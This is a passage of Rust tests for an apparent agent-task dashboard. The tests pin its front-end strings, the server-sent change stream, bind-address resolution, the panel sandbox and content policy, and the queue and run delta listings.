20378        let start = APP_JS
20379            .find("function noticeCoveredBy(")
20380            .expect("noticeCoveredBy exists");
20381        let body = &APP_JS[start..];
20382        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20383
20384        // Historical associations are informational, even for open questions.
20385        assert!(body.contains("Associated question ${short}"));
20386        assert!(!body.contains("el(\"a\""));
20387
20388        // A resolved question displays status rather than an actionable link
20389        assert!(body.contains("(resolved)"));
20390        assert!(body.contains("(closed)"));
20391
20392        let start = APP_JS
20393            .find("function renderNotifications()")
20394            .expect("renderNotifications exists");
20395        let body = &APP_JS[start..];
20396        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20397
20398        // Only a server-resolved answerable question supplies a response link.
20399        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20400        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20401        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20402        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20403    }
20404
20405    /// Chat rows are two lines at every width: the title alone, then the
20406    /// shrinkable secondary info.
20407    #[test]
20408    fn chat_rows_put_the_title_alone_on_the_first_line() {
20409        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20410        assert!(APP_CSS.contains(
20411            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20412        ));
20413        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20414        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20415    }
20416
20417    #[test]
20418    fn run_rows_put_the_title_alone_on_the_first_line() {
20419        assert!(
20420            APP_CSS.contains(
20421                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20422            )
20423        );
20424        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20425        assert!(APP_JS.contains("class: \"card run-card\""));
20426        assert!(APP_JS.contains("class: \"repo run-id\""));
20427    }
20428
20429    /// Wide screens get a master/detail layout built from the views a phone
20430    /// drills into. These are string assertions: they pin the contract between
20431    /// the three assets, not how it looks.
20432    #[test]
20433    fn wide_screens_show_list_and_preview_side_by_side() {
20434        // One breakpoint, spelled the same in the script and the stylesheet.
20435        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20436        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20437        assert!(APP_CSS.contains("main[data-split]"));
20438        assert!(APP_CSS.contains("body[data-split]"));
20439
20440        // The route -> panes table, and a narrow screen opting out of it.
20441        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20442        assert!(
20443            APP_JS.contains(
20444                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20445            )
20446        );
20447        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20448        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20449        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20450
20451        // Selection is derived from the route, and only ever paints a row.
20452        assert!(APP_JS.contains("function markSelected() {"));
20453        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20454        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20455        // The dense row must override the stacked card the 720px block sets up.
20456        assert!(
20457            APP_CSS.contains(
20458                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20459            )
20460        );
20461
20462        // Independent scrolling: the page stops scrolling, each pane does.
20463        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20464        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20465        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20466        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20467
20468        // A refresh must never navigate: the loaders still check that their
20469        // subject is the one on screen, and crossing the breakpoint only
20470        // re-reads the hash.
20471        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20472        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20473        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20474        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20475
20476        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20477        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20478    }
20479
20480    #[test]
20481    fn panel_sandbox_carries_exactly_popups() {
20482        let needle = "sandbox: \"";
20483        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20484        assert_eq!(
20485            matches.len(),
20486            1,
20487            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20488        );
20489        let start = matches[0].0 + needle.len();
20490        let end = APP_JS[start..]
20491            .find('"')
20492            .expect("sandbox attribute value must be terminated by a closing quote");
20493        let val = &APP_JS[start..start + end];
20494        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20495        let expected: std::collections::BTreeSet<&str> =
20496            ["allow-popups", "allow-popups-to-escape-sandbox"]
20497                .into_iter()
20498                .collect();
20499        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20500        assert!(
20501            !tokens.contains("allow-scripts"),
20502            "allow-scripts must never be present in sandbox"
20503        );
20504        assert!(
20505            !tokens.contains("allow-same-origin"),
20506            "allow-same-origin must never be present in sandbox"
20507        );
20508    }
20509
20510    #[test]
20511    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20512        // consumeQueueFocus() clears an active Backlog search before it can
20513        // scroll to the target card (the sections list is hidden while a
20514        // search is showing), by recursing back into renderQueue(). The
20515        // fixer's first cut nulled state.queueFocus before that recursive
20516        // call, so the second pass saw nothing to jump to and the jump was
20517        // silently dropped whenever a notification's link was opened with a
20518        // stale search still active. state.queueFocus must only be cleared
20519        // right before jumpToTask() actually runs.
20520        assert!(
20521            APP_JS.contains(
20522                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20523            ),
20524            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20525             recursive renderQueue() call has nothing left to jump to"
20526        );
20527        assert!(
20528            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20529            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20530             arrives later still gets it"
20531        );
20532        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20533        assert!(APP_JS.contains("is not in the current Backlog."));
20534        assert!(APP_JS.contains("li.card[data-task-id=\""));
20535        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20536        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20537        assert!(APP_CSS.contains(".card-permalink"));
20538        assert!(APP_CSS.contains(".queue-focus-status"));
20539        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20540    }
20541
20542    #[test]
20543    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20544        // The task's own repro: only the link text inside .notice-meta was
20545        // clickable, so a tap on the message, the timestamp, or the card's
20546        // padding did nothing - on a phone that reads as "the card doesn't
20547        // work" even though the tiny link inside it did. Mark read / Dismiss
20548        // must keep working independently of this: `.closest("a, button")`
20549        // is what lets a tap that actually lands on those elements fall
20550        // through instead of being hijacked into a navigation.
20551        assert!(
20552            APP_JS.contains(
20553                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20554            ),
20555            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20556        );
20557    }
20558
20559    #[test]
20560    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20561        assert!(
20562            APP_JS.contains("round.verified_head !== round.head"),
20563            "a round that verified an earlier commit must be visibly distinct from one that \
20564             verified the head reviewers are looking at now"
20565        );
20566        assert!(
20567            APP_JS.contains("round.verified_at"),
20568            "when a check ran must be on the wire, not just which commit"
20569        );
20570        assert!(
20571            APP_JS.contains("resource_blocked"),
20572            "a command magi never got to run (shared build cache contention) must not render \
20573             the same as a command that ran and failed"
20574        );
20575    }
20576
20577    #[test]
20578    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20579        // Every KPI tile but Total runs and Completion names an exact
20580        // RunStatus and hands it to openRunsFiltered(), which is what wires
20581        // the click into state.runsFilter.status (matchesFilter's own
20582        // status check) rather than the coarser runsStateFilter chips. Each
20583        // status literal here must be one of the strings runSection() (and
20584        // isStale()) actually compare a run's own `status` field against -
20585        // a status this dashboard invented would filter to nothing.
20586        assert!(
20587            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20588            "every KPI tile built through statusTile() must route its click through \
20589             openRunsFiltered, the single place that sets the Runs filter"
20590        );
20591        for (label, status) in [
20592            ("Merged", "merged"),
20593            ("Ready", "ready"),
20594            ("Blocked", "blocked"),
20595            ("Stalled", "stalled"),
20596        ] {
20597            let call = format!("statusTile(\"{label}\", t.{status}, ");
20598            assert!(
20599                APP_JS.contains(&call),
20600                "expected the {label} KPI tile built via {call}..."
20601            );
20602            assert!(
20603                APP_JS.contains(&format!("status === \"{status}\"")),
20604                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20605                 compare a run against, not one invented only for the stats tile"
20606            );
20607        }
20608        assert!(
20609            APP_JS.contains("function openRunsFiltered(status)"),
20610            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20611        );
20612        assert!(
20613            APP_JS.contains(
20614                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20615            ),
20616            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20617        );
20618        // applyRoute() only flips which view is visible for a plain `#runs`
20619        // hash - it does not itself redraw the list (see applyRoute's own
20620        // handling below) - so openRunsFiltered must call renderRuns()
20621        // itself, and must call applyRoute() too so the view flips even
20622        // when the hash string doesn't change (the operator may already be
20623        // on the Runs view when a tile is tapped, which fires no
20624        // hashchange event at all).
20625        assert!(
20626            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20627            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20628             hashchange event that may never fire"
20629        );
20630    }
20631
20632    #[test]
20633    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20634        // A stats tile can leave state.runsFilter.status set to something
20635        // done-by-construction (e.g. "merged") - picking "Active" afterward
20636        // must drop it the same way an incompatible tree section is already
20637        // dropped, or the Runs list renders permanently empty with no way
20638        // for the operator to tell why.
20639        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20640        assert!(
20641            APP_JS.contains(
20642                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20643            ),
20644            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20645             guard for an incompatible tree section"
20646        );
20647    }
20648
20649    #[test]
20650    fn every_stats_queue_tile_names_a_real_queue_section() {
20651        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20652        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20653        // (consumeQueueSectionFocus finds no matching <details> and drops
20654        // the focus) rather than fail loudly, so pin every key against the
20655        // section list it has to resolve against.
20656        assert!(
20657            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20658            "every queue tile built through sectionTile() must route its click through \
20659             openQueueSectionFocus"
20660        );
20661        for key in ["upnext", "running", "done", "held", "blocked"] {
20662            assert!(
20663                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20664                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20665            );
20666        }
20667        // Queued and Failed intentionally both resolve to "upnext" - the
20668        // same section queueSection() itself files them under - rather than
20669        // getting a section each.
20670        for line in [
20671            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20672            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20673            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20674            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20675            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20676            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20677        ] {
20678            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20679        }
20680    }
20681
20682    #[test]
20683    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20684        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20685        // above for the section-focus channel a stats queue tile drives:
20686        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20687        // through the stale-search-clear recursion into renderQueue(), and
20688        // clear it only once revealQueueSection() is actually about to run -
20689        // the same trap that once silently dropped a task-focus jump.
20690        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20691        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20692        assert!(APP_JS.contains("function revealQueueSection(details)"));
20693        assert!(
20694            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20695            "renderQueue() must consume both focus channels on every pass"
20696        );
20697        assert!(
20698            APP_JS.contains(
20699                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20700            ),
20701            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20702             the recursive renderQueue() call has nothing left to reveal"
20703        );
20704        assert!(
20705            APP_JS.contains(
20706                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20707            ),
20708            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20709        );
20710        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20711        // task-focus form of the hash - a plain `#queue` navigation only
20712        // flips which view is visible. openQueueSectionFocus() must
20713        // therefore call renderQueue() itself, and applyRoute() too so the
20714        // view flips even when the hash doesn't change (the Backlog may
20715        // already be open when a tile is tapped, firing no hashchange
20716        // event at all).
20717        assert!(
20718            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20719            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20720             hashchange event that may never fire"
20721        );
20722    }
20723
20724    #[tokio::test]
20725    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20726        let f = Fixture::start().await;
20727
20728        let mut socket = tokio::net::TcpStream::connect(f.addr)
20729            .await
20730            .expect("connect");
20731        socket
20732            .write_all(
20733                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20734            )
20735            .await
20736            .expect("write request");
20737
20738        // Read until the first event arrives rather than to end of stream: the
20739        // stream is endless by design, which is the point of the route.
20740        let mut seen = String::new();
20741        let mut buf = [0u8; 1024];
20742        while !seen.contains("event: change") {
20743            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20744                .await
20745                .expect("the stream must speak within five seconds")
20746                .expect("read");
20747            assert!(read > 0, "the server closed the change stream: {seen}");
20748            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20749        }
20750
20751        assert!(
20752            seen.to_lowercase()
20753                .contains("content-type: text/event-stream"),
20754            "the browser only reconnects automatically for a real SSE stream: {seen}"
20755        );
20756        let data = seen
20757            .lines()
20758            .find_map(|l| l.strip_prefix("data:"))
20759            .expect("a data line");
20760        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20761        assert!(
20762            payload["queue_rev"].is_u64()
20763                && payload["runs_rev"].is_u64()
20764                && payload["questions_rev"].is_u64()
20765                && payload["talks_rev"].is_u64()
20766                && payload["notifications_rev"].is_u64()
20767                && payload["loop_rev"].is_u64(),
20768            "the client needs one revision per store to know what to refetch, \
20769             and `talks_rev` is the only notification a standing talk gets - a \
20770             phone whose radio slept through a turn learns about it here, as \
20771             does one whose operator started the loop from another device: \
20772             {payload}"
20773        );
20774
20775        // The front end re-polls health on a timer and on wake, and takes the
20776        // revisions from that answer whenever the stream is not up. So health
20777        // has to carry every key the stream carries: a phone on a link that
20778        // will not hold an SSE connection is exactly the phone that must still
20779        // notice a question, and a missing key there is not a 500 but a UI
20780        // that quietly stops updating.
20781        let health = f.get("/api/health").await.json();
20782        for key in [
20783            "queue_rev",
20784            "runs_rev",
20785            "questions_rev",
20786            "talks_rev",
20787            "notifications_rev",
20788            "loop_rev",
20789        ] {
20790            assert!(
20791                health[key].is_u64(),
20792                "health is the change stream's fallback and is missing `{key}`: {health}"
20793            );
20794        }
20795    }
20796
20797    #[tokio::test]
20798    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20799        let f = Fixture::start().await;
20800        let before = f.get("/api/health").await.json()["talks_rev"]
20801            .as_u64()
20802            .expect("talks_rev");
20803
20804        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20805        std::thread::sleep(Duration::from_millis(10));
20806        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20807        on_disk.turns.push(crate::talk::Turn {
20808            sender: None,
20809            breaks: Some(Vec::new()),
20810            messages: Vec::new(),
20811            posted_by: None,
20812            who: crate::talk::Who::Operator,
20813            body: "a new turn".to_owned(),
20814            at: Timestamp::now(),
20815            attachments: Vec::new(),
20816            usage: None,
20817        });
20818        f.talks().put(&mut on_disk).expect("record a turn");
20819
20820        let after = tokio::time::timeout(Duration::from_secs(5), async {
20821            loop {
20822                let revision = f.get("/api/health").await.json()["talks_rev"]
20823                    .as_u64()
20824                    .unwrap();
20825                if revision != before {
20826                    break revision;
20827                }
20828                tokio::time::sleep(Duration::from_millis(50)).await;
20829            }
20830        })
20831        .await
20832        .expect("shared monitor observes external turn");
20833        assert_ne!(
20834            before, after,
20835            "a phone must be able to notice a talk's reply without polling every store"
20836        );
20837    }
20838
20839    #[test]
20840    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20841        // The CLI shows the default in `--help` and parses whatever comes
20842        // back, so the two directions have to agree or `--bind auto` breaks
20843        // the moment someone copies the help text.
20844        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20845            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20846        }
20847        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20848        assert!("everywhere".parse::<Bind>().is_err());
20849    }
20850
20851    #[test]
20852    fn an_explicit_bind_address_is_taken_verbatim() {
20853        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20854
20855        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20856
20857        assert_eq!(addr, asked);
20858        assert!(
20859            warning.is_none(),
20860            "an operator who named an address gets no lecture"
20861        );
20862    }
20863
20864    #[test]
20865    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20866        let (addr, warning) = resolve_bind(&Bind::Auto);
20867
20868        // This has to hold on a CI runner with no `tailscale` and on a dev box
20869        // with one, so the invariant asserted is the one shared by both
20870        // outcomes: the address is either a real tailnet address offered
20871        // without comment, or loopback with an explanation. What must never
20872        // happen is a silent fallback - an operator told "listening on
20873        // 127.0.0.1" with no reason would go looking for a firewall.
20874        match addr {
20875            IpAddr::V4(ip) if is_tailnet(&ip) => {
20876                assert!(warning.is_none(), "a tailnet address needs no warning");
20877            }
20878            other => {
20879                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20880                let warning = warning.expect("a fallback has to explain itself");
20881                assert!(
20882                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20883                    "the warning says what happened and what it costs: {warning}"
20884                );
20885            }
20886        }
20887    }
20888
20889    #[test]
20890    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20891        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20892        // boundary cases are what stop us binding to some other tool's idea of
20893        // an address.
20894        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20895        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20896        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20897        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20898        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20899    }
20900
20901    #[test]
20902    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20903        let ids = vec![
20904            "20260902-140501-aaaa".to_owned(),
20905            "20260902-140502-aabb".to_owned(),
20906        ];
20907
20908        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20909        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20910        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20911
20912        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20913        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20914        assert_eq!(short, "20260902-140502-aabb");
20915    }
20916    #[tokio::test]
20917    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20918        // The prompt tells agents to reference attachments by bare filename.
20919        // A document served at `.../panel` resolves `shot.png` against its own
20920        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20921        // panel written exactly as instructed showed broken images. Caught by
20922        // looking at a real one in a browser, not by reading the code.
20923        let fx = Fixture::start().await;
20924        let id = panel(
20925            &fx,
20926            "<img src=\"shot.png\">",
20927            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20928        );
20929
20930        // The frame's own URL ends in a filename, so its siblings are reachable.
20931        let doc = fx
20932            .get(&format!("/api/questions/{id}/panel/index.html"))
20933            .await;
20934        assert_eq!(doc.status, 200, "{}", doc.body);
20935        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20936
20937        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20938        assert_eq!(sibling.status, 200, "{}", sibling.body);
20939        assert_eq!(sibling.header("content-type"), Some("image/png"));
20940        assert_eq!(
20941            sibling.header("content-security-policy"),
20942            Some(PANEL_CSP),
20943            "the sibling route must carry the same policy as the asset route"
20944        );
20945
20946        // The original spelling keeps working: HEAD on it is how the front end
20947        // decides whether to mount a frame at all.
20948        assert_eq!(
20949            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20950            200
20951        );
20952    }
20953
20954    #[test]
20955    fn delta_stamps_cover_add_update_remove_and_noop() {
20956        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20957        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20958        let delta = diff_stamps(&before, &after, 42);
20959        assert_eq!(delta.base, 42);
20960        assert_eq!(delta.changed, ["b", "c"]);
20961        assert_eq!(delta.removed, ["a"]);
20962        let same = diff_stamps(&after, &after, 43);
20963        assert!(same.changed.is_empty() && same.removed.is_empty());
20964        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20965        let nanos: Stamps = [("b".into(), (2, 20))].into();
20966        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20967        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20968        assert_eq!(stamps_revision(&Stamps::new()), 0);
20969    }
20970
20971    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20972        std::fs::create_dir_all(home.join("runs")).unwrap();
20973        Arc::new(
20974            Ui::new(
20975                Queue::at(home.join("queue")),
20976                Questions::at(home.join("questions")),
20977                Talks::at(home.join("talks")),
20978                home.join("runs"),
20979                home.to_owned(),
20980                PathBuf::from("/repo/magi"),
20981            )
20982            .with_worktrees_root(home.join("wt")),
20983        )
20984    }
20985
20986    #[test]
20987    fn monitor_scan_isolates_store_failures_and_recovers() {
20988        let home = TempDir::new().unwrap();
20989        let ui = delta_test_ui(home.path());
20990        std::fs::create_dir_all(ui.questions.root()).unwrap();
20991        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20992        let before = monitor_scan(&ui, None);
20993        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20994        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20995        std::fs::create_dir_all(ui.talks.root()).unwrap();
20996        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20997        let during = monitor_scan(&ui, Some(before.clone()));
20998        assert_eq!(during.0.2, before.0.2);
20999        assert_ne!(during.0.3, before.0.3);
21000        assert!(during.1[2].contains_key("new"));
21001        std::fs::remove_file(ui.questions.root()).unwrap();
21002        let after = monitor_scan(&ui, Some(during));
21003        assert_eq!(after.0.2, 0);
21004        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21005        // A failed first scan also permits healthy stores to publish.
21006        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21007        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21008    }
21009
21010    #[tokio::test]
21011    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21012        let home = TempDir::new().unwrap();
21013        let ui = delta_test_ui(home.path());
21014        let mut task = Task::new(
21015            "stream task".into(),
21016            "text".into(),
21017            PathBuf::from("/repo"),
21018            Source::Human,
21019        );
21020        ui.queue.put(&mut task).unwrap();
21021        let response = events(State(ui.clone())).await.into_response();
21022        let mut stream = response.into_body().into_data_stream();
21023        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21024            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21025                .await
21026                .unwrap()
21027                .unwrap()
21028                .unwrap();
21029            let text = String::from_utf8(chunk.to_vec()).unwrap();
21030            let data = text
21031                .lines()
21032                .find_map(|line| {
21033                    line.strip_prefix("data: ")
21034                        .or_else(|| line.strip_prefix("data:"))
21035                })
21036                .unwrap();
21037            serde_json::from_str(data).unwrap()
21038        }
21039        let initial = change(&mut stream).await;
21040        assert!(initial.get("queue_delta").is_none());
21041        task.instruction.push_str(" changed");
21042        ui.queue.put(&mut task).unwrap();
21043        let updated = change(&mut stream).await;
21044        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21045        assert_eq!(
21046            updated["queue_delta"]["changed"],
21047            serde_json::json!([task.id])
21048        );
21049        assert_eq!(
21050            updated["queue_rev"].as_u64(),
21051            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21052        );
21053        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21054        let removed = change(&mut stream).await;
21055        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21056        assert_eq!(
21057            removed["queue_delta"]["removed"],
21058            serde_json::json!([task.id])
21059        );
21060    }
21061
21062    #[tokio::test]
21063    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21064        let home = TempDir::new().unwrap();
21065        let ui = delta_test_ui(home.path());
21066        let queue = ui.queue.clone();
21067        let query = |ids: Option<&str>| {
21068            Query(ListQuery {
21069                limit: Some(2),
21070                ids: ids.map(str::to_owned),
21071            })
21072        };
21073        let mut root = Task::new(
21074            "root".into(),
21075            "instruction".into(),
21076            PathBuf::from("/repo"),
21077            Source::Human,
21078        );
21079        queue.put(&mut root).unwrap();
21080        let mut blocked = Task::new(
21081            "blocked".into(),
21082            "instruction".into(),
21083            PathBuf::from("/repo"),
21084            Source::Human,
21085        );
21086        blocked.block(vec![root.id.clone()], None);
21087        queue.put(&mut blocked).unwrap();
21088        let whole =
21089            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21090                .unwrap();
21091        let subset = serde_json::to_value(
21092            queue_list(State(ui.clone()), query(Some(&root.id)))
21093                .await
21094                .unwrap()
21095                .0,
21096        )
21097        .unwrap();
21098        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21099        let blockers = serde_json::to_value(
21100            queue_list(State(ui.clone()), query(Some("")))
21101                .await
21102                .unwrap()
21103                .0,
21104        )
21105        .unwrap();
21106        assert_eq!(blockers.as_array().unwrap().len(), 1);
21107        assert_eq!(blockers[0]["id"], blocked.id);
21108        assert_eq!(
21109            blockers[0]["waits_on"],
21110            whole
21111                .as_array()
21112                .unwrap()
21113                .iter()
21114                .find(|row| row["id"] == blocked.id)
21115                .unwrap()["waits_on"]
21116        );
21117
21118        for id in [
21119            "20260902-140501-aaaa",
21120            "20260902-140502-bbbb",
21121            "20260902-140503-cccc",
21122        ] {
21123            write_run(&ui.runs, id, RunStatus::Merged);
21124        }
21125        let old = serde_json::to_value(
21126            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21127                .await
21128                .unwrap()
21129                .0,
21130        )
21131        .unwrap();
21132        assert!(
21133            old.as_array().unwrap().is_empty(),
21134            "older updates must not enter the window"
21135        );
21136        let newest = serde_json::to_value(
21137            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21138                .await
21139                .unwrap()
21140                .0,
21141        )
21142        .unwrap();
21143        assert_eq!(newest.as_array().unwrap().len(), 1);
21144        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21145
21146        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21147        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21148        let talks = serde_json::to_value(
21149            talks_list(
21150                State(ui.clone()),
21151                query(Some("20260905-000000-d4e5")),
21152                header::HeaderMap::new(),
21153            )
21154            .await
21155            .unwrap()
21156            .0,
21157        )
21158        .unwrap();
21159        assert_eq!(talks.as_array().unwrap().len(), 1);
21160        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21161        assert_eq!(
21162            serde_json::to_value(
21163                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21164                    .await
21165                    .unwrap()
21166                    .0
21167            )
21168            .unwrap(),
21169            serde_json::json!([])
21170        );
21171    }
21172
21173    #[tokio::test]
